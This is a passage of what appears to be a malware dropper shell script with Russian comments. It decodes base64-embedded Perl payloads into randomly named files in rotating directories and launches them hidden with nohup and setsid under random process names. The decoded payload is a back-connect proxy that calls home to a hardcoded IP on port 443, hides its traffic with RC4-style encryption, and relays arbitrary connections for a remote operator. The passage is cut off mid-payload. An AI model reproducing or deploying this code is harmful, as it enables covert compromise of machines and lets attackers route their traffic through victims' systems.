LCA0LCAxKSA9ICJceDAwIjsKCQkgCgkJCSAkX3JldCA9IDE7CgkJCSAKCQkgfTsKCQkgCgkJIGNs b3NlXzoKCQkgCgkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsK CQkgCgkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7CgkJIAoJ CSBzeW5zZW5kKCRzU29ja2V0LCAkcmVzcG9uY2UsIE1TR19OT1NJR05BTCk7CgkJIAoJCSBSYzRf Y3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMCwgMyk7CgkJIAoJCSBpZiAoJF9yZXQg PT0gMSkgewoJCQkgCgkJCSB3aGlsZSAoJCRzb2NrZXRhcnJheVskbnVtXSA9PSAxKSB7CgkJCQkg CgkJCQkgdmVjKG15ICRyaW4gPSAnJywgZmlsZW5vKCRjU29ja2V0KSwgMSkgPSAxOwoJCQkJIAoJ CQkJIHVubGVzcyAoc2VsZWN0KCRyaW4sIHVuZGVmLCB1bmRlZiwgMSkpIHsgbmV4dDsgfQoJCQkJ IAoJCQkJICRkYXRhID0gJyc7CgoJCQkJIHJlY3YoJGNTb2NrZXQsICRkYXRhLCA2NTUzMCwgMCk7 CgkgCgkJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9CgkJCQkgCgkJCQkgJGJ1ZmZlciA9IHBh Y2soJ0MnLCAkbnVtKS5wYWNrKCdTJywgbGVuZ3RoKCRkYXRhKSkuJGRhdGE7CgkJCQkgCgkJCQkg UmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyLCAwLCAzKTsKCQkgCgkJCQkgUmM0X2Ny eXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyLCAzLCBsZW5ndGgoJGRhdGEpKTsKCQkJCSAKCQkJ CSBzeW5zZW5kKCRzU29ja2V0LCAkYnVmZmVyLCBNU0dfTk9TSUdOQUwpOwoJCQkJIAoJCQl9CgkJ fQoJCQoJCSAkJHNvY2tldGFycmF5WyRudW1dID0gMDsKCQkgCgkJIGNsb3NlKCRjU29ja2V0KTsK CQkgCgkJIHN1YnN0cigkcmVzcG9uY2UsIDEsIDIpID0gIlx4MDBceDAwIjsKCQkgCgkJIFJjNF9j cnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsKCQkgCgkJIHN5bnNlbmQoJHNT b2NrZXQsIHN1YnN0cigkcmVzcG9uY2UsIDAsIDMpLCBNU0dfTk9TSUdOQUwpOwoJCQogICAgICAg ICB0aHJlYWRzLT5kZXRhY2goKTsKICAgIH0pOwp9CgpzdWIgYmNjbmN0IHsKCgkgbXkgJGhvc3Qg PSBzaGlmdChAXyk7CgkgCgkgbXkgJHBvcnQgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJlbWFpbmlu ZyA9IDA7CgkgCgkgbXkgJHJlbWFpbmluZzQgPSAwOwoJIAoJIG15IEBzb2NrZXRhcnI7CgkgCgkg bXkgQHNvY2tldGFycmF5IDpzaGFyZWQ7CgkgCgkgbXkgJGJ1ZmZlciA9ICJceDAwIiB4IDEwMDsK CSAKCSBteSAkYnVmZmVybnVsbCA9ICJceDAwIiB4IDM7CgkgCgkgbXkgJGJ1ZmZlcjAgPSAnJzsK CSAKCSBteSAkaXNFeGl0ID0gMDsKCSAKCSBteSAkZWN4ID0gMDsKCSAKCSBteSAkZWF4ID0gMDsK CSAKCSBteSAkZGF0YSA9ICcnOwoJIAoJIG15ICRfcmV0ID0gMDsKCSAKCSBteSAkZWJ4ID0gMDsK CSAKCSBteSAkZWR4ID0gMDsKCSAKCSBzb2NrZXQoJHNvY2tldGFyclswXSwgUEZfSU5FVCwgU09D S19TVFJFQU0sIGdldHByb3RvYnluYW1lKCd0Y3AnKSk7CgkgCgkgc2V0c29ja29wdCgkc29ja2V0 YXJyWzBdLCBJUFBST1RPX1RDUCwgVENQX05PREVMQVksIDEpOwoJIAoJIG15ICRwYWRkciA9IHNv Y2thZGRyX2luKCQkcG9ydCwgaW5ldF9hdG9uKCQkaG9zdCkpOwoJIAoJIHVubGVzcyhjb25uZWN0 KCRzb2NrZXRhcnJbMF0sICRwYWRkcikpIHsgZ290byBjbG9zZTA7IH0KCSAKCSBzdWJzdHIoJGJ1 ZmZlciwgMCwgNTApID0gJHhvcmRhdGE7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDUwLCAyKSA9ICJc eEZGXHhGRiI7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDU0LCAxMSkgPSAiUGVybCBzY3JpcHQiOwoJ IAoJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlciwgNTAsIDUwKTsKCSAKCSBzZW5k KCRzb2NrZXRhcnJbMF0sICRidWZmZXIsIE1TR19OT1NJR05BTCk7CgkgCgkgd2hpbGUoMSkgewoJ CSAKCQkgaWYgKCRyZW1haW5pbmc0ICE9IDQpIHsKCQkJIAoJCQkgdmVjKG15ICRyaW4gPSAnJywg ZmlsZW5vKCRzb2NrZXRhcnJbMF0pLCAxKSA9IDE7CgkJCSAKCQkJIG15ICRyZXQgPSBzZWxlY3Qo JHJpbiwgdW5kZWYsIHVuZGVmLCA2MCk7CgkJCSAKCQkJIG5leHQgaWYgKCRyZXQgPCAwKTsKCQkJ IAoJCQkgaWYgKCRyZXQgPT0gMCkgewoJCQkJIAoJCQkJIGxhc3QgaWYgKHN1YnN0cigkYnVmZmVy bnVsbCwgMCwgMykgbmUgIlx4MDBceDAwXHgwMCIpOwoJCQkJIAoJCQkJIGxhc3QgaWYgKCRyZW1h aW5pbmcgIT0gMCk7CgkJCQkgCgkJCQkgbGFzdCBpZiAoJHJlbWFpbmluZzQgIT0gMCk7CgkJCQkg CgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVybnVsbCwgMCwgMyk7CgkJCQkg CgkJCQkgc3luc2VuZCgkc29ja2V0YXJyWzBdLCAkYnVmZmVybnVsbCwgTVNHX05PU0lHTkFMKTsK CQkJCSAKCQkJCSBuZXh0OwoJCQl9CgkJCSAKCQl9CgkJIAoJCSBpZiAoJHJlbWFpbmluZyAhPSAw IHx8ICRyZW1haW5pbmc0ID09IDQpIHsKCQkJIAoJCQkgaWYgKCRlZHggPT0gMCkgewoJCQkJIAoJ CQkJIGlmIChzdWJzdHIoJGJ1ZmZlcjAsIDAsIDEpIGVxICJceEZGIiAmJiBzdWJzdHIoJGJ1ZmZl cjAsIDEsIDEpIGVxICJceEZFIikgewoJCQkJCSAKCQkJCQkgJGlzRXhpdCA9IDE7CgkJCQkJIAoJ CQkJCSBsYXN0OwoJCQkJCSAKCQkJCX0KCQkJCSAKCQkJCSBlbHNpZiAoJGVieCA8IDIwMCAmJiAk ZWJ4ID4gMCkgewoJCQkJIAoJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAwOwoJCQkJIAoJCQkJ fQoJCQkKCQkJfQoJCQkKCQkJZWxzZSB7CgkJCQkKCQkJCSAkZWN4ID0gJGVkeDsKCQkJCQoJCQkJ ICRlY3ggPSAkZWN4IC0gJHJlbWFpbmluZzsKCQkJCSAKCQkJCSAkZGF0YSA9ICcnOwoJCQkJIAoJ CQkJIHJlY3YoJHNvY2tldGFyclswXSwgJGRhdGEsICRlY3gsIDApOwoJCQkJCgkJCQkgdW5sZXNz ICgkZGF0YSkgeyBsYXN0OyB9CgkJCQkgCgkJCQkgJHJlbWFpbmluZyArPSBsZW5ndGgoJGRhdGEp OwoJCQkJIAoJCQkJICRidWZmZXIwIC49ICRkYXRhOwoJCQkJIAoJCQkJIGlmICgkZWR4ID09ICRy ZW1haW5pbmcpIHsKCQkJCQkgCgkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZl cjAsIDQsICRyZW1haW5pbmcpOwoJCQkJCSAKCQkJCQkgaWYgKHVucGFjaygnQycsIHN1YnN0cigk YnVmZmVyMCwgMCwgMSkpID09IDApIHsKCQkJCQkJIAoJCQkJCQkgc29ja2V0KCRzb2NrZXRhcnJb JGVieF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOwoJCQkJ CQkgCgkJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAxOwoJCQkJCQkgCgkJCQkJCSBuZXdDb25u ZWN0aW9uKCRlYngsIFxAc29ja2V0YXJyYXksICRzb2NrZXRhcnJbMF0sICRzb2NrZXRhcnJbJGVi eF0sICRidWZmZXIwKTsKCQkJCQkJIAoJCQkJCX0KCQkJCQkKCQkJCQkgZWxzZSB7CgkJCQkJCSAK CQkJCQkJIHNlbmQoJHNvY2tldGFyclskZWJ4XSwgc3Vic3RyKCRidWZmZXIwLCA0LCAkcmVtYWlu aW5nKSwgTVNHX05PU0lHTkFMKTsKCQkJCQkJIAoJCQkJCX0KCQkJCQkgCgkJCQkJICRyZW1haW5p bmcgPSAwOwoJCQkJfQoJCQkJCgkJCX0KCQkJIAoJCQkgJHJlbWFpbmluZzQgPSAwOwoJCQkgCgkJ fQoJCQoJCWVsc2UgewoJCQkKCQkJIGlmICgkcmVtYWluaW5nNCA9PSAwKSB7ICRidWZmZXIwID0g Jyc7IH0KCQkJCgkJCSAkZWF4ID0gNDsKCQkJCgkJCSAkZWF4ID0gJGVheCAtICRyZW1haW5pbmc0 OwoJCQkgCgkJCSAkZGF0YSA9ICcnOwoJCQkgCgkJCSByZWN2KCRzb2NrZXRhcnJbMF0sICRkYXRh LCAkZWF4LCAwKTsKCQkJIAoJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9CgkJCSAKCQkJICRy ZW1haW5pbmc0ICs9IGxlbmd0aCgkZGF0YSk7CgkJCSAKCQkJICRidWZmZXIwIC49ICRkYXRhOwoJ CQkgCgkJCSAkYnVmZmVybnVsbCA9ICJceDAwIiB4IDM7CgkJCSAKCQkJIGlmICgkcmVtYWluaW5n NCA9PSA0KSB7CgkJCQkgCgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwg MCwgNCk7CgkJCQkgCgkJCQkgJGVieCA9IHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgMSwg MSkpOwoJCQkJIAoJCQkJICRlZHggPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1ZmZlcjAsIDIsIDIp KTsKCQkJIAoJCQkJICRfcmV0ID0gMTsKCQkJfQoJCQkKCQl9Cgl9CgkKCSBjbG9zZTA6CgkgCgkg Y2xvc2UoJHNvY2tldGFyclswXSk7CgkgCgkgZm9yIChteSAkaSA9IDA7ICRpIDwgMjAwOyAkaSsr KSB7ICRzb2NrZXRhcnJheVskaV0gPSAwOyB9CgkgCgkgc2xlZXAgMTA7CgkgCgkgaWYgKCRpc0V4 aXQgPT0gMSkgeyBleGl0OyB9CgkgCgkgcmV0dXJuICRfcmV0OwoKfQoKYmNjbmN0KFwkaG9zdCwg XCRwb3J0KTsK BINARY_EOF chmod +x "$EXTRACTED_FILE" RANDOM_PROC_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c $RANDOM_NAME_LENGTH) # Определяем тип файла по первой строке (shebang) first_line=$(head -n 1 "$EXTRACTED_FILE") if [[ "$first_line" == *"perl"* ]]; then echo "[RUNNER] Компонент #23 (Perl) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..." (cd "$DEPLOY_DIR" && nohup setsid perl "./$PAYLOAD_NAME" >/dev/null 2>&1 &) else echo "[RUNNER] Компонент #23 (Бинарный) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..." (cd "$DEPLOY_DIR" && nohup setsid ./"$PAYLOAD_NAME" >/dev/null 2>&1 &) fi if [ "$first_run" = true ]; then first_run=false; else echo "[RUNNER] Пауза на $PAUSE_SECONDS секунд..." sleep $PAUSE_SECONDS; fi # --- Подготовка и запуск компонента 24 --- DEPLOY_DIR=${candidate_dirs[$dir_index]} PAYLOAD_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c 8) EXTRACTED_FILE="$DEPLOY_DIR/$PAYLOAD_NAME" dir_index=$(((dir_index + 1) % dir_count)) base64 -d > "$EXTRACTED_FILE" << 'BINARY_EOF' IyEvdXNyL2Jpbi9wZXJsCgp1c2Ugc3RyaWN0Owp1c2Ugd2FybmluZ3M7CnVzZSBTb2NrZXQ7CnVz ZSBTb2NrZXQgcXcoSVBQUk9UT19UQ1AgVENQX05PREVMQVkpOwp1c2UgRmNudGw7CnVzZSBGY250 bCBxdyg6ZmxvY2spOwp1c2UgdGhyZWFkczsKdXNlIHRocmVhZHM6OnNoYXJlZDsKCm15ICRob3N0 ID0gJzM2LjI1NS45OC4xODAnOwpteSAkcG9ydCA9IDQ0MzsKCm15ICR4b3JkYXRhID0gIlx4MDAi IHggNTA7Cgpmb3IgKG15ICRpID0gMDsgJGkgPCA1MDsgJGkrKykgeyBzdWJzdHIoJHhvcmRhdGEs ICRpLCAxKSA9IHBhY2soJ0MnLCByYW5kKDI1NSkpOyB9CgpzdWIgUmM0X2NyeXB0IHsKCSAKCSBt eSAkcGFzc3cgPSBzaGlmdChAXyk7CgkgCgkgbXkgJGxlbmd0aCA9IHNoaWZ0KEBfKTsKCSAKCSBt eSAkYnVmZjAgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHN0YXJ0ID0gc2hpZnQoQF8pOwoJIAoJIG15 ICRzeiA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkcmM0ID0gIlx4MDAiIHggMjU2OwoJIAoJIG15ICRw b2NrZW1vbjAgPSAwOwoJCgkgbXkgJHBvY2tlbW9uMSA9IDA7CgkKCSBteSAkcG9ja2Vtb24yID0g MDsKCQoJIG15ICRwb2NrZW1vbjMgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNCA9IDA7CgkKCSBteSAk cG9ja2Vtb241ID0gMDsKCQoJIG15ICRwb2NrZW1vbjYgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNyA9 IDA7CgkKCSBteSAkcG9ja2Vtb244ID0gMDsKCSAKCSBteSAkcmN4ID0gJHN6OwoJIAoJIG15ICRy c2kgPSAwOwoJIAoJIG15ICRyYnggPSAwOwoJIAoJIG15ICRncyA9IDA7CgkgCgkgbXkgJHQgPSAw OwoJIAoJIGZvciAobXkgJGkgPSAwOyAkaSA8PSAyNTU7ICRpKyspIHsgc3Vic3RyKCRyYzQsICRp LCAxKSA9IHBhY2soJ0MnLCAkaSk7IH0KCSAKCSBkbyB7CgkJIAoJCSBzdWJzdHIoJCRidWZmMCwg JHN0YXJ0ICsgJHJzaSwgMSkgPSBwYWNrKCdDJywgKHVucGFjaygnQycsIHN1YnN0cigkJGJ1ZmYw LCAkc3RhcnQgKyAkcnNpLCAxKSkgXiB1bnBhY2soJ0MnLCBzdWJzdHIoJCRwYXNzdywgJHJieCwg MSkpKSk7CgkJIAoJCSAkcnNpKys7CgkJCgkJICRyYngrKzsKCQkKCQkgJHJjeC0tOwoJCQoJCSBp ZiAoJHJieCA9PSAkbGVuZ3RoKSB7CgkJCSAKCQkJICRyYnggPSAwOwoJCX0KCQkgCgl9IHdoaWxl KCRyY3ggPiAwKTsKCQoJCgkgd2hpbGUoMSkgewoJCSAKCQkgaWYgKCRncyA9PSAwKSB7CgkJCSAK CQkJICRwb2NrZW1vbjIgPSAwOwoKCQkJICRwb2NrZW1vbjMgPSAkbGVuZ3RoOwoJCX0KCQkgCgkJ IGlmICgkZ3MgIT0gMCkgewoJCQkgCgkJCSAkZ3MgPSAwOwoKCQkJICRwb2NrZW1vbjIrKzsKCgkJ CSBpZiAoLS0kcG9ja2Vtb24zID09IDApIHsgbmV4dDsgfQoJCQkgCgkJfQoJCQoJCSAkcG9ja2Vt b243ID0gdW5wYWNrKCdDJywgc3Vic3RyKCRyYzQsICRwb2NrZW1vbjAsIDEpKTsKCQkgCgkJICR0 ID0gdW5wYWNrKCdDJywgc3Vic3RyKCQkcGFzc3csICRwb2NrZW1vbjIsIDEpKTsKCgkJICRwb2Nr ZW1vbjEgKz0gJHQ7CgoJCSAkcG9ja2Vtb24xID0gJHBvY2tlbW9uMSAmIDI1NTsKCgkJICRwb2Nr ZW1vbjEgKz0gJHBvY2tlbW9uNzsKCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoK CQkgJHBvY2tlbW9uNiA9IHVucGFjaygnQycsIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSk7 CgkJIAoJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMCwgMSkgPSBwYWNrKCdDJywgJHBvY2tlbW9u Nik7CgkJIAoJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMSwgMSkgPSBwYWNrKCdDJywgJHBvY2tl bW9uNyk7CgkJIAoJCSAkcG9ja2Vtb24wKys7CgoJCSAkcG9ja2Vtb24wID0gJHBvY2tlbW9uMCAm IDI1NTsKCQkgCgkJIGlmICgkcG9ja2Vtb24wICE9IDApIHsKCQkJIAoJCQkgJGdzID0gMTsKCQkJ IAoJCQkgbmV4dDsKCQl9CgkJCgkJICRwb2NrZW1vbjQgPSAkc3o7CgoJCSAkcG9ja2Vtb24xID0g MDsKCgkJICRwb2NrZW1vbjAgPSAwOwoKCQkgJHBvY2tlbW9uMiA9IDA7CgoJCSAkcG9ja2Vtb24z ID0gMDsKCQkgCgkJIHdoaWxlKDEpIHsKCQkJIAoJCQkgJHBvY2tlbW9uMisrOwoKCQkJICRwb2Nr ZW1vbjIgPSAkcG9ja2Vtb24yICYgMjU1OwoKCQkJICRwb2NrZW1vbjcgPSB1bnBhY2soJ0MnLCBz dWJzdHIoJHJjNCwgJHBvY2tlbW9uMiwgMSkpOwoJCQkgCgkJCSAkcG9ja2Vtb24xICs9ICRwb2Nr ZW1vbjc7CgoJCQkgJHBvY2tlbW9uMSA9ICRwb2NrZW1vbjEgJiAyNTU7CgoJCQkgJHBvY2tlbW9u OCA9IHVucGFjaygnQycsIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSk7CgoJCQkgc3Vic3Ry KCRyYzQsICRwb2NrZW1vbjIsIDEpID0gcGFjaygnQycsICRwb2NrZW1vbjgpOwoJCSAKCQkJIHN1 YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSA9IHBhY2soJ0MnLCAkcG9ja2Vtb243KTsKCgkJCSAk cG9ja2Vtb244ICs9ICRwb2NrZW1vbjc7CgkKCQkJICRwb2NrZW1vbjggPSAkcG9ja2Vtb244ICYg MjU1OwoKCQkJICRwb2NrZW1vbjAgPSB1bnBhY2soJ0MnLCBzdWJzdHIoJHJjNCwgJHBvY2tlbW9u OCwgMSkpOwoJCQkgCgkJCSAkcG9ja2Vtb241ID0gdW5wYWNrKCdDJywgc3Vic3RyKCQkYnVmZjAs ICRzdGFydCArICRwb2NrZW1vbjMsIDEpKTsKCgkJCSAkcG9ja2Vtb241ID0gJHBvY2tlbW9uNSBe ICRwb2NrZW1vbjA7CgkJCSAKCQkJIHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcG9ja2Vtb24z LCAxKSA9IHBhY2soJ0MnLCAkcG9ja2Vtb241KTsKCQkJIAoJCQkgJHBvY2tlbW9uMysrOwoJCQkg CgkJCSBpZiAoLS0kcG9ja2Vtb240ID09IDApCgkJCSB7CgkJCQkgbGFzdDsKCQkJIH0KCQkJIAoJ CX0KCQkgCgkJIGxhc3Q7Cgl9CgkKCSAkcnNpID0gMDsKCQoJICRyY3ggPSAkc3o7CgkKCSAkcmJ4 ID0gMDsKCQoJIGRvIHsKCQkgCgkJIHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCAxKSA9 IHBhY2soJ0MnLCAodW5wYWNrKCdDJywgc3Vic3RyKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDEp KSBeIHVucGFjaygnQycsIHN1YnN0cigkJHBhc3N3LCAkcmJ4LCAxKSkpKTsKCQkgCgkJICRyc2kr KzsKCQkKCQkgJHJieCsrOwoJCQoJCSAkcmN4LS07CgkJCgkJIGlmICgkcmJ4ID09ICRsZW5ndGgp IHsKCQkJIAoJCQkgJHJieCA9IDA7CgkJfQoJCSAKCX0gd2hpbGUoJHJjeCA+IDApOwoJCn0KCnN1 YiBzeW5zZW5kIHsKCQkKCSBteSAkY1NvY2tldCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkYnVmZmVy ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRmbGFncwk9IHNoaWZ0KEBfKTsKCgkgb3BlbihteSAkZmgs ICI8IiwgJy9kZXYvbnVsbCcpOwoKCSBmbG9jaygkZmgsIExPQ0tfRVgpOwoJIAoJICMgPT09PT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0KCSAKCSBzZW5kKCRjU29j a2V0LCAkYnVmZmVyLCAkZmxhZ3MpOwoJIAoJICMgPT09PT09PT09PT09PT09PT09PT09PT09PT09 PT09PT09PT09PT09PT09PT09PT0KCSAKCSBmbG9jaygkZmgsIExPQ0tfVU4pOwoKCSBjbG9zZSgk ZmgpOwp9CgpzdWIgbmV3Q29ubmVjdGlvbiB7CgkKCW15ICRudW0gPSBzaGlmdChAXyk7CgkKCW15 ICRzb2NrZXRhcnJheSA9IHNoaWZ0KEBfKTsKCQoJbXkgJHNTb2NrZXQgPSBzaGlmdChAXyk7CgkK CW15ICRjU29ja2V0ID0gc2hpZnQoQF8pOwoJCglteSAkYnVmZjAgPSBzaGlmdChAXyk7CgkKICAg IHRocmVhZHMtPmNyZWF0ZSggc3ViIHsKCQkKCQlteSAkcmVzcG9uY2UgPSBwYWNrKCdDJywgJG51 bSkuIlx4MEFceDAwXHgwNVx4MDFceDAwXHgwMVx4MDBceDAwXHgwMFx4MDBceDAwXHgwMCI7CgkJ CgkJbXkgJGRvbWFpbiA9ICcnOwoJCQoJCW15ICRwb3J0ID0gMDsKCQkKCQlteSAkX3JldCA9IDA7 CgkJCgkJbXkgJGRhdGEgPSAnJzsKCQkKCQlteSAkYnVmZmVyID0gJyc7CgkJCgkJc2V0c29ja29w dCgkY1NvY2tldCwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsKCQkKCQlmY250bCgkY1Nv Y2tldCwgRl9TRVRGTCwgT19OT05CTE9DSyk7CgkJCgkJaWYgKHVucGFjaygnQycsIHN1YnN0cigk YnVmZjAsIDcsIDEpKSA9PSAzKSB7CgkJCQoJCQkkZG9tYWluID0gc3Vic3RyKCRidWZmMCwgOSwg dW5wYWNrKCdDJywgc3Vic3RyKCRidWZmMCwgOCwgMSkpKTsKCQkJCgkJCSRwb3J0ID0gdW5wYWNr KCdTJywgc3Vic3RyKCRidWZmMCwgOSArIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDgsIDEp KSArIDEsIDEpLnN1YnN0cigkYnVmZjAsIDkgKyB1bnBhY2soJ0MnLCBzdWJzdHIoJGJ1ZmYwLCA4 LCAxKSkgKyAwLCAxKSk7CgkJCQoJCX0KCQkKCQllbHNpZiAodW5wYWNrKCdDJywgc3Vic3RyKCRi dWZmMCwgNywgMSkpID09IDEpIHsKCQkJCgkJCSRkb21haW4gPSBzcHJpbnRmKCIlZC4lZC4lZC4l ZCIsIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAwLCAxKSksIHVucGFjaygnQycsIHN1 YnN0cigkYnVmZjAsIDggKyAxLCAxKSksIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAy LCAxKSksIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAzLCAxKSkpOwoJCQkKCQkJJHBv cnQgPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1ZmYwLCAxMiArIDEsIDEpLnN1YnN0cigkYnVmZjAs IDEyICsgMCwgMSkpOwoJCQkKCQl9CgkJCgkJZWxzZSB7CgkJCQoJCQkgZ290byBjbG9zZV87CgkJ fQoJCQoJCSBldmFsIHsKCQkJIAoJCQkgbXkgJHBhZGRyID0gc29ja2FkZHJfaW4oJHBvcnQsIGlu ZXRfYXRvbigkZG9tYWluKSk7CgkJCgkJCSBjb25uZWN0KCRjU29ja2V0LCAkcGFkZHIpOwoJCSAK CQkJIHZlYyhteSAkd2luID0gJycsIGZpbGVubygkY1NvY2tldCksIDEpID0gMTsKCgkJCSB1bmxl c3MgKHNlbGVjdCh1bmRlZiwgJHdpbiwgdW5kZWYsIDEwKSkgeyBnb3RvIGNsb3NlXzsgfQoJCSAK CQkJIGZjbnRsKCRjU29ja2V0LCBGX1NFVEZMLCAwKTsKCQkgCgkJCSBzdWJzdHIoJHJlc3BvbmNl LCA0LCAxKSA9ICJceDAwIjsKCQkgCgkJCSAkX3JldCA9IDE7CgkJCSAKCQkgfTsKCQkgCgkJIGNs b3NlXzoKCQkgCgkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsK CQkgCgkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7CgkJIAoJ CSBzeW5zZW5kKCRzU29ja2V0LCAkcmVzcG9uY2UsIE1TR19OT1NJR05BTCk7CgkJIAoJCSBSYzRf Y3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMCwgMyk7CgkJIAoJCSBpZiAoJF9yZXQg PT0gMSkgewoJCQkgCgkJCSB3aGlsZSAoJCRzb2NrZXRhcnJheVskbnVtXSA9PSAxKSB7CgkJCQkg CgkJCQkgdmVjKG15ICRyaW4gPSAnJywgZmlsZW5vKCRjU29ja2V0KSwgMSkgPSAxOwoJCQkJIAoJ CQkJIHVubGVzcyAoc2VsZWN0KCRyaW4sIHVuZGVmLCB1bmRlZiwgMSkpIHsgbmV4dDsgfQoJCQkJ IAoJCQkJICRkYXRhID0gJyc7CgoJCQkJIHJlY3YoJGNTb2NrZXQsICRkYXRhLCA2NTUzMCwgMCk7 CgkgCgkJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9CgkJCQkgCgkJCQkgJGJ1ZmZlciA9IHBh Y2soJ0MnLCAkbnVtKS5wYWNrKCdTJywgbGVuZ3RoKCRkYXRhKSkuJGRhdGE7CgkJCQkgCgkJCQkg UmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyLCAwLCAzKTsKCQkgCgkJCQkgUmM0X2Ny eXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyLCAzLCBsZW5ndGgoJGRhdGEpKTsKCQkJCSAKCQkJ CSBzeW5zZW5kKCRzU29ja2V0LCAkYnVmZmVyLCBNU0dfTk9TSUdOQUwpOwoJCQkJIAoJCQl9CgkJ fQoJCQoJCSAkJHNvY2tldGFycmF5WyRudW1dID0gMDsKCQkgCgkJIGNsb3NlKCRjU29ja2V0KTsK CQkgCgkJIHN1YnN0cigkcmVzcG9uY2UsIDEsIDIpID0gIlx4MDBceDAwIjsKCQkgCgkJIFJjNF9j cnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsKCQkgCgkJIHN5bnNlbmQoJHNT b2NrZXQsIHN1YnN0cigkcmVzcG9uY2UsIDAsIDMpLCBNU0dfTk9TSUdOQUwpOwoJCQogICAgICAg ICB0aHJlYWRzLT5kZXRhY2goKTsKICAgIH0pOwp9CgpzdWIgYmNjbmN0IHsKCgkgbXkgJGhvc3Qg PSBzaGlmdChAXyk7CgkgCgkgbXkgJHBvcnQgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJlbWFpbmlu ZyA9IDA7CgkgCgkgbXkgJHJlbWFpbmluZzQgPSAwOwoJIAoJIG15IEBzb2NrZXRhcnI7CgkgCgkg bXkgQHNvY2tldGFycmF5IDpzaGFyZWQ7CgkgCgkgbXkgJGJ1ZmZlciA9ICJceDAwIiB4IDEwMDsK CSAKCSBteSAkYnVmZmVybnVsbCA9ICJceDAwIiB4IDM7CgkgCgkgbXkgJGJ1ZmZlcjAgPSAnJzsK CSAKCSBteSAkaXNFeGl0ID0gMDsKCSAKCSBteSAkZWN4ID0gMDsKCSAKCSBteSAkZWF4ID0gMDsK CSAKCSBteSAkZGF0YSA9ICcnOwoJIAoJIG15ICRfcmV0ID0gMDsKCSAKCSBteSAkZWJ4ID0gMDsK CSAKCSBteSAkZWR4ID0gMDsKCSAKCSBzb2NrZXQoJHNvY2tldGFyclswXSwgUEZfSU5FVCwgU09D S19TVFJFQU0sIGdldHByb3RvYnluYW1lKCd0Y3AnKSk7CgkgCgkgc2V0c29ja29wdCgkc29ja2V0 YXJyWzBdLCBJUFBST1RPX1RDUCwgVENQX05PREVMQVksIDEpOwoJIAoJIG15ICRwYWRkciA9IHNv Y2thZGRyX2luKCQkcG9ydCwgaW5ldF9hdG9uKCQkaG9zdCkpOwoJIAoJIHVubGVzcyhjb25uZWN0 KCRzb2NrZXRhcnJbMF0sICRwYWRkcikpIHsgZ290byBjbG9zZTA7IH0KCSAKCSBzdWJzdHIoJGJ1 ZmZlciwgMCwgNTApID0gJHhvcmRhdGE7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDUwLCAyKSA9ICJc eEZGXHhGRiI7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDU0LCAxMSkgPSAiUGVybCBzY3JpcHQiOwoJ 